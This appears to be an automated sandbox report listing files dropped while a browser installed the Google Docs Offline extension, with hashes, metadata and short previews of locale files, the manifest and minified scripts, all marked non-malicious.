SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Reputation:	unknown
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Reputation:	unknown
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Reputation:	unknown
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 14:16:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9740369901514034
Encrypted:	false
SSDEEP:	48:8OdeTam+HzidAKZdA19ehwiZUklqehoxy+3:8fHKzy
MD5:	54386B3557F3FB092CAB4F2357416BC7
SHA1:	FDDECF721579AA3FC23B2A207E09347925ABDC0E
SHA-256:	6241C34CD7E9E918623FEC30D4B67278BEA17F481F28D88F450FFC9826457137
